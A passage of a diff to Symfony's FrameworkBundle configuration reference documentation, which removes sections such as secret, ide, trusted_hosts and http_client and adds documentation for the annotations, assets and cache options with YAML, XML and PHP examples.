`ciphers`_ - * `headers`_ - * `http_version`_ - * `local_cert`_ - * `local_pk`_ - * `max_redirects`_ - * `no_proxy`_ - * `passphrase`_ - * `peer_fingerprint`_ - * `proxy`_ - * `query`_ - * `resolve`_ - - * :ref:`retry_failed <reference-http-client-retry-failed>` - - * `backoff_service`_ - * `decider_service`_ - * :ref:`enabled <reference-http-client-retry-enabled>` - * `delay`_ - * `http_codes`_ - * `max_delay`_ - * `max_retries`_ - * `multiplier`_ - * `jitter`_ - - * `timeout`_ - * `max_duration`_ - * `verify_host`_ - * `verify_peer`_ - - * :ref:`retry_failed <reference-http-client-retry-failed>` - - * `backoff_service`_ - * `decider_service`_ - * :ref:`enabled <reference-http-client-retry-enabled>` - * `delay`_ - * `http_codes`_ - * `max_delay`_ - * `max_retries`_ - * `multiplier`_ - * `jitter`_ - -* `http_method_override`_ -* `ide`_ -* :ref:`lock <reference-lock>` - - * :ref:`enabled <reference-lock-enabled>` - * :ref:`resources <reference-lock-resources>` - - * :ref:`name <reference-lock-resources-name>` - -* `php_errors`_ - - * `log`_ - * `throw`_ - -* `profiler`_ - - * `collect`_ - * `dsn`_ - * :ref:`enabled <reference-profiler-enabled>` - * `only_exceptions`_ - * `only_master_requests`_ - -* `property_access`_ - - * `magic_call`_ - * `magic_get`_ - * `magic_set`_ - * `throw_exception_on_invalid_index`_ - * `throw_exception_on_invalid_property_path`_ - -* `property_info`_ - - * :ref:`enabled <reference-property-info-enabled>` - -* `request`_: - - * `formats`_ - -* `router`_ - - * `http_port`_ - * `https_port`_ - * `resource`_ - * `strict_requirements`_ - * :ref:`type <reference-router-type>` - * `utf8`_ - -* `secret`_ -* `serializer`_ - - * :ref:`circular_reference_handler <reference-serializer-circular_reference_handler>` - * :ref:`enable_annotations <reference-serializer-enable_annotations>` - * :ref:`enabled <reference-serializer-enabled>` - * :ref:`mapping <reference-serializer-mapping>` - - * :ref:`paths <reference-serializer-mapping-paths>` - - * :ref:`name_converter <reference-serializer-name_converter>` - -* `session`_ - - * `cache_limiter`_ - * `cookie_domain`_ - * `cookie_httponly`_ - * `cookie_lifetime`_ - * `cookie_path`_ - * `cookie_samesite`_ - * `cookie_secure`_ - * :ref:`enabled <reference-session-enabled>` - * `gc_divisor`_ - * `gc_maxlifetime`_ - * `gc_probability`_ - * `handler_id`_ - * `metadata_update_threshold`_ - * `name`_ - * `save_path`_ - * `sid_length`_ - * `sid_bits_per_character`_ - * `storage_id`_ - * `use_cookies`_ - -* `test`_ -* `translator`_ - - * `cache_dir`_ - * :ref:`default_path <reference-translator-default_path>` - * :ref:`enabled <reference-translator-enabled>` - * :ref:`enabled_locales <reference-translator-enabled-locales>` - * `fallbacks`_ - * `formatter`_ - * `logging`_ - * :ref:`paths <reference-translator-paths>` - -* `trusted_hosts`_ -* `trusted_proxies`_ -* `validation`_ +annotations +~~~~~~~~~~~ - * :ref:`cache <reference-validation-cache>` - * `email_validation_mode`_ - * :ref:`enable_annotations <reference-validation-enable_annotations>` - * :ref:`enabled <reference-validation-enabled>` - * :ref:`mapping <reference-validation-mapping>` +.. _reference-annotations-cache: - * :ref:`paths <reference-validation-mapping-paths>` +cache +..... - * :ref:`not_compromised_password <reference-validation-not-compromised-password>` +**type**: ``string`` **default**: ``php_array`` - * :ref:`enabled <reference-validation-not-compromised-password-enabled>` - * `endpoint`_ +This option can be one of the following values: - * `static_method`_ - * `translation_domain`_ - -* `workflows`_ - - * :ref:`enabled <reference-workflows-enabled>` - * :ref:`name <reference-workflows-name>` - - * `audit_trail`_ - * `initial_marking`_ - * `marking_store`_ - * `metadata`_ - * `places`_ - * `supports`_ - * `support_strategy`_ - * `transitions`_ - * :ref:`type <reference-workflows-type>` +php_array + Use a PHP array to cache annotations in memory +file + Use the filesystem to cache annotations +none + Disable the caching of annotations -secret -~~~~~~ +debug +..... -**type**: ``string`` **required** +**type**: ``boolean`` **default**: ``%kernel.debug%`` -This is a string that should be unique to your application and it's commonly -used to add more entropy to security related operations. Its value should -be a series of characters, numbers and symbols chosen randomly and the -recommended length is around 32 characters. +Whether to enable debug mode for caching. If enabled, the cache will +automatically update when the original file is changed (both with code and +annotation changes). For performance reasons, it is recommended to disable +debug mode in production, which will happen automatically if you use the +default value. -In practice, Symfony uses this value for encrypting the cookies used -in the :doc:`remember me functionality </security/remember_me>` and for -creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`. +file_cache_dir +.............. -This option becomes the service container parameter named ``kernel.secret``, -which you can use whenever the application needs an immutable random string -to add more entropy. +**type**: ``string`` **default**: ``%kernel.cache_dir%/annotations`` -As with any other security-related parameter, it is a good practice to change -this value from time to time. However, keep in mind that changing this value -will invalidate all signed URIs and Remember Me cookies. That's why, after -changing this value, you should regenerate the application cache and log -out all the application users. +The directory to store cache files for annotations, in case +``annotations.cache`` is set to ``'file'``. -.. _configuration-framework-http_method_override: +.. _reference-assets: -http_method_override -~~~~~~~~~~~~~~~~~~~~ +assets +~~~~~~ -**type**: ``boolean`` **default**: ``true`` +The following options configure the behavior of the +:ref:`Twig asset() function <reference-twig-function-asset>`. -This determines whether the ``_method`` request parameter is used as the -intended HTTP method on POST requests. If enabled, the -:method:`Request::enableHttpMethodParameterOverride <Symfony\\Component\\HttpFoundation\\Request::enableHttpMethodParameterOverride>` -method gets called automatically. It becomes the service container parameter -named ``kernel.http_method_override``. +.. _reference-assets-base-path: -.. seealso:: +base_path +......... - :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of - Symfony forms. +**type**: ``string`` -.. caution:: +This option allows you to prepend a base path to the URLs generated for assets: - If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>` - with this option, the kernel will ignore the ``_method`` parameter, - which could lead to errors. +.. configuration-block:: - To fix this, invoke the ``enableHttpMethodParameterOverride()`` method - before creating the ``Request`` object:: + .. code-block:: yaml - // public/index.php + # config/packages/framework.yaml + framework: + # ... + assets: + base_path: '/images' - // ... - $kernel = new CacheKernel($kernel); + .. code-block:: xml - Request::enableHttpMethodParameterOverride(); // <-- add this line - $request = Request::createFromGlobals(); - // ... + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -.. _reference-framework-trusted-proxies: + <framework:config> + <framework:assets base-path="/images"/> + </framework:config> + </container> -trusted_proxies -~~~~~~~~~~~~~~~ + .. code-block:: php -The ``trusted_proxies`` option was removed in Symfony 3.3. See :doc:`/deployment/proxies`. + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -ide -~~~ + return static function (FrameworkConfig $framework): void { + // ... + $framework->assets() + ->basePath('/images'); + }; -**type**: ``string`` **default**: ``null`` +With this configuration, a call to ``asset('logo.png')`` will generate +``/images/logo.png`` instead of ``/logo.png``. -Symfony turns file paths seen in variable dumps and exception messages into -links that open those files right inside your browser. If you prefer to open -those files in your favorite IDE or text editor, set this option to any of the -following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``, -``atom`` and ``vscode``. +.. _reference-templating-base-urls: +.. _reference-assets-base-urls: -.. note:: +base_urls +......... - The ``phpstorm`` option is supported natively by PhpStorm on MacOS, - Windows requires `PhpStormProtocol`_ and Linux requires `phpstorm-url-handler`_. +**type**: ``array`` -If you use another editor, the expected configuration value is a URL template -that contains an ``%f`` placeholder where the file path is expected and ``%l`` -placeholder for the line number (percentage signs (``%``) must be escaped by -doubling them to prevent Symfony from interpreting them as container parameters). +This option allows you to define base URLs to be used for assets. +If multiple base URLs are provided, Symfony will select one from the +collection each time it generates an asset's path: .. configuration-block:: @@ -389,7 +132,10 @@ doubling them to prevent Symfony from interpreting them as container parameters) # config/packages/framework.yaml framework: - ide: 'myide://open?url=file://%%f&line=%%l' + # ... + assets: + base_urls: + - 'http://cdn.example.com/' .. code-block:: xml @@ -402,122 +148,153 @@ doubling them to prevent Symfony from interpreting them as container parameters) https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - <framework:config ide="myide://open?url=file://%%f&line=%%l"/> + <framework:config> + <framework:assets base-url="http://cdn.example.com/"/> + </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'ide' => 'myide://open?url=file://%%f&line=%%l', - ]); + use Symfony\Config\FrameworkConfig; -Since every developer uses a different IDE, the recommended way to enable this -feature is to configure it on a system level. This can be done by setting the -``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The -format to use is the same as for the ``framework.ide`` option, but without the -need to escape the percent signs (``%``) by doubling them. + return static function (FrameworkConfig $framework): void { + // ... + $framework->assets() + ->baseUrls(['http://cdn.example.com/']); + }; -.. note:: +.. _reference-assets-json-manifest-path: +.. _reference-templating-json-manifest-path: - If both ``framework.ide`` and ``xdebug.file_link_format`` are defined, - Symfony uses the value of the ``xdebug.file_link_format`` option. +json_manifest_path +.................. -.. tip:: +**type**: ``string`` **default**: ``null`` - Setting the ``xdebug.file_link_format`` ini option works even if the Xdebug - extension is not enabled. +The file path or absolute URL to a ``manifest.json`` file containing an +associative array of asset names and their respective compiled names. A common +cache-busting technique using a "manifest" file works by writing out assets with +a "hash" appended to their file names (e.g. ``main.ae433f1cb.css``) during a +front-end compilation routine. .. tip:: - When running your app in a container or in a virtual machine, you can tell - Symfony to map files from the guest to the host by changing their prefix. - This map should be specified at the end of the URL template, using ``&`` and - ``>`` as guest-to-host separators:: + Symfony's :ref:`Webpack Encore <frontend-webpack-encore>` supports + :ref:`outputting hashed assets <encore-long-term-caching>`. Moreover, this + can be incorporated into many other workflows, including Webpack and + Gulp using `webpack-manifest-plugin`_ and `gulp-rev`_, respectively. - // /path/to/guest/.../file will be opened - // as /path/to/host/.../file on the host - // and /var/www/app/ as /projects/my_project/ also - 'myide://%%f:%%l&/path/to/guest/>/path/to/host/&/var/www/app/>/projects/my_project/&...' +This option can be set globally for all assets and individually for each asset +package: - // example for PhpStorm - 'phpstorm://open?file=%%f&line=%%l&/var/www/app/>/projects/my_project/' +.. configuration-block:: -.. _reference-framework-test: + .. code-block:: yaml -test -~~~~ + # config/packages/framework.yaml + framework: + assets: + # this manifest is applied to every asset (including packages) + json_manifest_path: "%kernel.project_dir%/public/build/manifest.json" + # you can use absolute URLs too and Symfony will download them automatically + # json_manifest_path: 'https://cdn.example.com/manifest.json' + packages: + foo_package: + # this package uses its own manifest (the default file is ignored) + json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json" + # Throws an exception when an asset is not found in the manifest + strict_mode: %kernel.debug% + bar_package: + # this package uses the global manifest (the default file is used) + base_path: '/images' -**type**: ``boolean`` + .. code-block:: xml -If this configuration setting is present (and not ``false``), then the services -related to testing your application (e.g. ``test.client``) are loaded. This -setting should be present in your ``test`` environment (usually via -``config/packages/test/framework.yaml``). + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -.. seealso:: + <framework:config> + <!-- this manifest is applied to every asset (including packages) --> + <framework:assets json-manifest-path="%kernel.project_dir%/public/build/manifest.json"> + <!-- you can use absolute URLs too and Symfony will download them automatically --> + <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> --> + <!-- this package uses its own manifest (the default file is ignored) --> + <!-- Throws an exception when an asset is not found in the manifest --> + <framework:package + name="foo_package" + json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json" strict-mode="%kernel.debug%"/> + <!-- this package uses the global manifest (the default file is used) --> + <framework:package + name="bar_package" + base-path="/images"/> + </framework:assets> + </framework:config> + </container> - For more information, see :doc:`/testing`. + .. code-block:: php -.. _config-framework-default_locale: + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -default_locale -~~~~~~~~~~~~~~ + return static function (FrameworkConfig $framework): void { + // ... + $framework->assets() + // this manifest is applied to every asset (including packages) + ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json'); -**type**: ``string`` **default**: ``en`` + // you can use absolute URLs too and Symfony will download them automatically + // 'json_manifest_path' => 'https://cdn.example.com/manifest.json', + $framework->assets()->package('foo_package') + // this package uses its own manifest (the default file is ignored) + ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json') + // Throws an exception when an asset is not found in the manifest + ->setStrictMode('%kernel.debug%'); -The default locale is used if no ``_locale`` routing parameter has been -set. It is available with the -:method:`Request::getDefaultLocale <Symfony\\Component\\HttpFoundation\\Request::getDefaultLocale>` -method. + $framework->assets()->package('bar_package') + // this package uses the global manifest (the default file is used) + ->basePath('/images'); + }; -.. seealso:: +.. note:: - You can read more information about the default locale in - :ref:`translation-default-locale`. + This parameter cannot be set at the same time as ``version`` or ``version_strategy``. + Additionally, this option cannot be nullified at the package scope if a global manifest + file is specified. -disallow_search_engine_index -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. tip:: -**type**: ``boolean`` **default**: ``true`` when the debug mode is enabled, ``false`` otherwise. + If you request an asset that is *not found* in the ``manifest.json`` file, the original - + *unmodified* - asset path will be returned. + You can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*. -If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses -(unless your own app adds that header, in which case it's not modified). This -`X-Robots-Tag HTTP header`_ tells search engines to not index your web site. -This option is a protection measure in case you accidentally publish your site -in debug mode. +.. note:: -trusted_hosts -~~~~~~~~~~~~~ + If a URL is set, the JSON manifest is downloaded on each request using the `http_client`_. -**type**: ``array`` | ``string`` **default**: ``[]`` +.. _reference-framework-assets-packages: -A lot of different attacks have been discovered relying on inconsistencies -in handling the ``Host`` header by various software (web servers, reverse -proxies, web frameworks, etc.). Basically, every time the framework is -generating an absolute URL (when sending an email to reset a password for -instance), the host might have been manipulated by an attacker. +packages +........ -.. seealso:: +You can group assets into packages, to specify different base URLs for them: - You can read "`HTTP Host header attacks`_" for more information about - these kinds of attacks. - -The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>` -method might be vulnerable to some of these attacks because it depends on -the configuration of your web server. One simple solution to avoid these -attacks is to whitelist the hosts that your Symfony application can respond -to. That's the purpose of this ``trusted_hosts`` option. If the incoming -request's hostname doesn't match one of the regular expressions in this list, -the application won't respond and the user will receive a 400 response. - -.. configuration-block:: +.. configuration-block:: .. code-block:: yaml # config/packages/framework.yaml framework: - trusted_hosts: ['^example\.com$', '^example\.org$'] + # ... + assets: + packages: + avatars: + base_urls: 'http://static_cdn.example.com/avatars' .. code-block:: xml @@ -531,115 +308,180 @@ the application won't respond and the user will receive a 400 response. http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:trusted-host>^example\.com$</framework:trusted-host> - <framework:trusted-host>^example\.org$</framework:trusted-host> - <!-- ... --> + <framework:assets> + <framework:package + name="avatars" + base-url="http://static_cdn.example.com/avatars"/> + </framework:assets> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'trusted_hosts' => ['^example\.com$', '^example\.org$'], - ]); + use Symfony\Config\FrameworkConfig; -Hosts can also be configured to respond to any subdomain, via -``^(.+\.)?example\.com$`` for instance. + return static function (FrameworkConfig $framework): void { + // ... + $framework->assets() + ->package('avatars') + ->baseUrls(['http://static_cdn.example.com/avatars']); + }; -In addition, you can also set the trusted hosts in the front controller -using the ``Request::setTrustedHosts()`` method:: +Now you can use the ``avatars`` package in your templates: - // public/index.php - Request::setTrustedHosts(['^(.+\.)?example\.com$', '^(.+\.)?example\.org$']); +.. code-block:: html+twig -The default value for this option is an empty array, meaning that the application -can respond to any given host. + <img src="{{ asset('...', 'avatars') }}"> -.. seealso:: +Each package can configure the following options: - Read more about this in the `Security Advisory Blog post`_. +* :ref:`base_path <reference-assets-base-path>` +* :ref:`base_urls <reference-assets-base-urls>` +* :ref:`version_strategy <reference-assets-version-strategy>` +* :ref:`version <reference-framework-assets-version>` +* :ref:`version_format <reference-assets-version-format>` +* :ref:`json_manifest_path <reference-assets-json-manifest-path>` +* :ref:`strict_mode <reference-assets-strict-mode>` -.. _reference-framework-form: +.. _reference-assets-strict-mode: -form -~~~~ +strict_mode +........... -.. _reference-form-enabled: +**type**: ``boolean`` **default**: ``false`` -enabled +When enabled, the strict mode asserts that all requested assets are in the +manifest file. This option is useful to detect typos or missing assets, the +recommended value is ``%kernel.debug%``. + +.. _reference-framework-assets-version: +.. _ref-framework-assets-version: + +version ....... -**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation +**type**: ``string`` -Whether to enable the form services or not in the service container. If -you don't use forms, setting this to ``false`` may increase your application's -performance because less services will be loaded into the container. +This option is used to *bust* the cache on assets by globally adding a query +parameter to all rendered asset paths (e.g. ``/images/logo.png?v2``). This +applies only to assets rendered via the Twig ``asset()`` function (or PHP +equivalent). -This option will automatically be set to ``true`` when one of the child -settings is configured. +For example, suppose you have the following: -.. note:: +.. code-block:: html+twig - This will automatically enable the `validation`_. + <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/> -.. seealso:: +By default, this will render a path to your image such as ``/images/logo.png``. +Now, activate the ``version`` option: - For more details, see :doc:`/forms`. +.. configuration-block:: -.. _reference-framework-csrf-protection: + .. code-block:: yaml -csrf_protection -~~~~~~~~~~~~~~~ + # config/packages/framework.yaml + framework: + # ... + assets: + version: 'v2' -.. seealso:: + .. code-block:: xml - For more information about CSRF protection, see :doc:`/security/csrf`. + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -.. _reference-csrf_protection-enabled: + <framework:config> + <framework:assets version="v2"/> + </framework:config> + </container> -enabled -....... + .. code-block:: php -**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -This option can be used to disable CSRF protection on *all* forms. But you -can also :ref:`disable CSRF protection on individual forms <form-csrf-customization>`. + return static function (FrameworkConfig $framework): void { + // ... + $framework->assets() + ->version('v2'); + }; -If you're using forms, but want to avoid starting your session (e.g. using -forms in an API-only website), ``csrf_protection`` will need to be set to -``false``. +Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use +this feature, you **must** manually increment the ``version`` value +before each deployment so that the query parameters change. -.. _config-framework-error_controller: +You can also control how the query string works via the `version_format`_ +option. -error_controller -~~~~~~~~~~~~~~~~ +.. note:: -**type**: ``string`` **default**: ``error_controller`` + This parameter cannot be set at the same time as ``version_strategy`` or ``json_manifest_path``. -This is the controller that is called when an exception is thrown anywhere in -your application. The default controller -(:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`) -renders specific templates under different error conditions (see -:doc:`/controller/error_pages`). +.. tip:: -esi -~~~ + As with all settings, you can use a parameter as value for the + ``version``. This makes it easier to increment the cache on each + deployment. -.. seealso:: +.. _reference-templating-version-format: +.. _reference-assets-version-format: - You can read more about Edge Side Includes (ESI) in :ref:`edge-side-includes`. +version_format +.............. -.. _reference-esi-enabled: +**type**: ``string`` **default**: ``%%s?%%s`` -enabled -....... +This specifies a :phpfunction:`sprintf` pattern that will be used with the +`version`_ option to construct an asset's path. By default, the pattern +adds the asset's version as a query string. For example, if +``version_format`` is set to ``%%s?version=%%s`` and ``version`` +is set to ``5``, the asset's path would be ``/images/logo.png?version=5``. -**type**: ``boolean`` **default**: ``false`` +.. note:: -Whether to enable the edge side includes support in the framework. + All percentage signs (``%``) in the format string must be doubled to + escape the character. Without escaping, values might inadvertently be + interpreted as :ref:`service-container-parameters`. -You can also set ``esi`` to ``true`` to enable it: +.. tip:: + + Some CDN's do not support cache-busting via query strings, so injecting + the version into the actual file path is necessary. Thankfully, + ``version_format`` is not limited to producing versioned query + strings. + + The pattern receives the asset's original path and version as its first + and second parameters, respectively. Since the asset's path is one + parameter, you cannot modify it in-place (e.g. ``/images/logo-v5.png``); + however, you can prefix the asset's path using a pattern of + ``version-%%2$s/%%1$s``, which would result in the path + ``version-5/images/logo.png``. + + URL rewrite rules could then be used to disregard the version prefix + before serving the asset. Alternatively, you could copy assets to the + appropriate version path as part of your deployment process and forgot + any URL rewriting. The latter option is useful if you would like older + asset versions to remain accessible at their original URL. + +.. _reference-assets-version-strategy: +.. _reference-templating-version-strategy: + +version_strategy +................ + +**type**: ``string`` **default**: ``null`` + +The service id of the :doc:`asset version strategy </frontend/custom_version_strategy>` +applied to the assets. This option can be set globally for all assets and +individually for each asset package: .. configuration-block:: @@ -647,7 +489,19 @@ You can also set ``esi`` to ``true`` to enable it: # config/packages/framework.yaml framework: - esi: true + assets: + # this strategy is applied to every asset (including packages) + version_strategy: 'app.asset.my_versioning_strategy' + packages: + foo_package: + # this package removes any versioning (its assets won't be versioned) + version: ~ + bar_package: + # this package uses its own strategy (the default strategy is ignored) + version_strategy: 'app.asset.another_version_strategy' + baz_package: + # this package inherits the default strategy + base_path: '/images' .. code-block:: xml @@ -656,930 +510,906 @@ You can also set ``esi`` to ``true`` to enable it: <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:framework="http://symfony.com/schema/dic/symfony" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:esi/> + <framework:assets version-strategy="app.asset.my_versioning_strategy"> + <!-- this package removes any versioning (its assets won't be versioned) --> + <framework:package + name="foo_package" + version="null"/> + <!-- this package uses its own strategy (the default strategy is ignored) --> + <framework:package + name="bar_package" + version-strategy="app.asset.another_version_strategy"/> + <!-- this package inherits the default strategy --> + <framework:package + name="baz_package" + base_path="/images"/> + </framework:assets> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'esi' => true, - ]); + use Symfony\Config\FrameworkConfig; -fragments -~~~~~~~~~ + return static function (FrameworkConfig $framework): void { + // ... + $framework->assets() + ->versionStrategy('app.asset.my_versioning_strategy'); -.. seealso:: + $framework->assets()->package('foo_package') + // this package removes any versioning (its assets won't be versioned) + ->version(null); - Learn more about fragments in the - :ref:`HTTP Cache article <http_cache-fragments>`. + $framework->assets()->package('bar_package') + // this package uses its own strategy (the default strategy is ignored) + ->versionStrategy('app.asset.another_version_strategy'); -.. _reference-fragments-enabled: + $framework->assets()->package('baz_package') + // this package inherits the default strategy + ->basePath('/images'); + }; -enabled -....... +.. note:: -**type**: ``boolean`` **default**: ``false`` + This parameter cannot be set at the same time as ``version`` or ``json_manifest_path``. -Whether to enable the fragment listener or not. The fragment listener is -used to render ESI fragments independently of the rest of the page. +.. _reference-cache: -This setting is automatically set to ``true`` when one of the child settings -is configured. +cache +~~~~~ -hinclude_default_template -......................... +.. _reference-cache-app: -**type**: ``string`` **default**: ``null`` +app +... -Sets the content shown during the loading of the fragment or when JavaScript -is disabled. This can be either a template name or the content itself. +**type**: ``string`` **default**: ``cache.adapter.filesystem`` -.. seealso:: +The cache adapter used by the ``cache.app`` service. The FrameworkBundle +ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.system``, +``cache.adapter.filesystem``, ``cache.adapter.psr6``, ``cache.adapter.redis``, +``cache.adapter.memcached``, ``cache.adapter.pdo`` and +``cache.adapter.doctrine_dbal``. - See :doc:`/templating/hinclude` for more information about hinclude. +There's also a special adapter called ``cache.adapter.array`` which stores +contents in memory using a PHP array and it's used to disable caching (mostly on +the ``dev`` environment). -.. _reference-fragments-path: +.. tip:: -path -.... + It might be tough to understand at the beginning, so to avoid confusion + remember that all pools perform the same actions but on different medium + given the adapter they are based on. Internally, a pool wraps the definition + of an adapter. -**type**: ``string`` **default**: ``'/_fragment'`` +default_doctrine_provider +......................... -The path prefix for fragments. The fragment listener will only be executed -when the request starts with this path. +**type**: ``string`` -.. _reference-http-client: +The service name to use as your default Doctrine provider. The provider is +available as the ``cache.default_doctrine_provider`` service. -http_client -~~~~~~~~~~~ +default_memcached_provider +.......................... -When the HttpClient component is installed, an HTTP client is available -as a service named ``http_client`` or using the autowiring alias -:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`. +**type**: ``string`` **default**: ``memcached://localhost`` -.. _reference-http-client-default-options: +The DSN to use by the Memcached provider. The provider is available as the ``cache.default_memcached_provider`` +service. -This service can be configured using ``framework.http_client.default_options``: +default_pdo_provider +.................... -.. code-block:: yaml +**type**: ``string`` **default**: ``doctrine.dbal.default_connection`` - # config/packages/framework.yaml - framework: - # ... - http_client: - max_host_connections: 10 - default_options: - headers: { 'X-Powered-By': 'ACME App' } - max_redirects: 7 +The service id of the database connection, which should be either a PDO or a +Doctrine DBAL instance. The provider is available as the ``cache.default_pdo_provider`` +service. -.. _reference-http-client-scoped-clients: +default_psr6_provider +..................... -Multiple pre-configured HTTP client services can be defined, each with its -service name defined as a key under ``scoped_clients``. Scoped clients inherit -the default options defined for the ``http_client`` service. You can override -these options and can define a few others: +**type**: ``string`` -.. code-block:: yaml +The service name to use as your default PSR-6 provider. It is available as +the ``cache.default_psr6_provider`` service. - # config/packages/framework.yaml - framework: - # ... - http_client: - scoped_clients: - my_api.client: - auth_bearer: secret_bearer_token - # ... +default_redis_provider +...................... -Options defined for scoped clients apply only to URLs that match either their -`base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always -use default options. +**type**: ``string`` **default**: ``redis://localhost`` -Each scoped client also defines a corresponding named autowiring alias. -If you use for example -``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient`` -as the type and name of an argument, autowiring will inject the ``my_api.client`` -service into your autowired classes. +The DSN to use by the Redis provider. The provider is available as the ``cache.default_redis_provider`` +service. -.. _reference-http-client-retry-failed: +directory +......... -By enabling the optional ``retry_failed`` configuration, the HTTP client service -will automatically retry failed HTTP requests. +**type**: ``string`` **default**: ``%kernel.cache_dir%/pools`` -.. code-block:: yaml +The path to the cache directory used by services inheriting from the +``cache.adapter.filesystem`` adapter (including ``cache.app``). - # config/packages/framework.yaml - framework: - # ... - http_client: - # ... - retry_failed: - # backoff_service: app.custom_backoff - # decider_service: app.custom_decider - http_codes: [429, 500] - max_retries: 2 - delay: 1000 - multiplier: 3 - max_delay: 5000 - jitter: 0.3 +pools +..... - scoped_clients: - my_api.client: - # ... - retry_failed: - max_retries: 4 +**type**: ``array`` -.. versionadded:: 5.2 +A list of cache pools to be created by the framework extension. - The ``retry_failed`` option was introduced in Symfony 5.2. +.. seealso:: -auth_basic -.......... + For more information about how pools work, see :ref:`cache pools <component-cache-cache-pools>`. -**type**: ``string`` +To configure a Redis cache pool with a default lifetime of 1 hour, do the following: -The username and password used to create the ``Authorization`` HTTP header -used in HTTP Basic authentication. The value of this option must follow the -format ``username:password``. +.. configuration-block:: -auth_bearer -........... + .. code-block:: yaml -**type**: ``string`` + # config/packages/framework.yaml + framework: + cache: + pools: + cache.mycache: + adapter: cache.adapter.redis + default_lifetime: 3600 -The token used to create the ``Authorization`` HTTP header used in HTTP Bearer -authentication (also called token authentication). + .. code-block:: xml -auth_ntlm -......... + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -**type**: ``string`` + <framework:config> + <framework:cache> + <framework:pool + name="cache.mycache" + adapter="cache.adapter.redis" + default-lifetime="3600" + /> + </framework:cache> + <!-- ... --> + </framework:config> + </container> -The username and password used to create the ``Authorization`` HTTP header used -in the `Microsoft NTLM authentication protocol`_. The value of this option must -follow the format ``username:password``. This authentication mechanism requires -using the cURL-based transport. + .. code-block:: php -backoff_service -............... + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -**type**: ``string`` + return static function (FrameworkConfig $framework): void { + $framework->cache() + ->pool('cache.mycache') + ->adapters(['cache.adapter.redis']) + ->defaultLifetime(3600); + }; + +adapter +""""""" + +**type**: ``string`` **default**: ``cache.app`` -.. versionadded:: 5.2 +The service name of the adapter to use. You can specify one of the default +services that follow the pattern ``cache.adapter.[type]``. Alternatively you +can specify another cache pool as base, which will make this pool inherit the +settings from the base pool as defaults. - The ``backoff_service`` option was introduced in Symfony 5.2. +.. note:: -The service id used to compute the time to wait between retries. By default, it -uses an instance of -:class:`Symfony\\Component\\HttpClient\\Retry\\ExponentialBackOff` configured -with ``delay``, ``max_delay``, ``multiplier`` and ``jitter`` options. 